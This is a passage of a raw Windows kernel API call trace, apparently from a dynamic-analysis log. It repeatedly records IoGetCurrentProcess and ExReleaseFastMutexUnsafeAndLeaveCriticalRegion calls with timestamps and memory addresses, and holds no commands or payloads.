IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.146] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.177] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.197] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.229] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.260] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.260] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.260] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.290] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.320] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.350] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.248] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.248] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.248] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.250] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.250] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.250] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.287] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.342] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.342] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.342] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.373] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.373] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.373] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.392] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.392] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.392] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.449] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.450] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.450] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.591] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.591] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.591] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.633] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.651] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.651] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.651] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.679] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.680] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.680] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.697] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.723] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.738] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.758] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.786] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.801] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.818] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.848] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.863] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.879] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.910] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.940] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.956] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.974] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.043] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.043] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.043] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.101] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.138] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.138] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.138] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.161] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.179] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.194] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.224] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.245] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.270] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.273] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.290] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.291] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.291] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.291] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.292] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.293] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.359] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.359] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.359] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.388] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.388] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.388] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.417] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.417] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.417] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.433] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.433] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.433] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.460] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.480] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.504] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.534] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.561] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.579] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.594] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.614] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.630] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.630] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.631] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.631] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.632] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.632] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.633] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.649] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.649] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.649] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.680] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.680] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.680] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.710] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.741] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.773] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.805] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.736] IoGetCurrentProcess () returned 0xffffe000011ff900 [0120.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.738] IoGetCurrentProcess () returned 0xffffe000011ff900 [0120.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.773] IoGetCurrentProcess () returned 0xffffe000011ff900 [0120.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.815] IoGetCurrentProcess () returned 0xffffe000011ff900 [0120.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.831] IoGetCurrentProcess () returned 0xffffe000011ff900 [0120.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.847] IoGetCurrentProcess () returned 0xffffe000011ff900 [0120.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.875] IoGetCurrentProcess () returned 0xffffe000011ff900 [0120.875] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.875] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.903] IoGetCurrentProcess () returned 0xffffe000011ff900 [0120.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.082] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.112] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.135] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.135] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.135] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.163] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.179] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.194] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.210] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.226] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.241] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.257] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.273] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.289] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.305] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.321] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.353] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.353] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.354] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.368] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.397] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.427] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.444] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.461] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.492] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.492] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.492] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.509] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.563] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.564] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.592] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 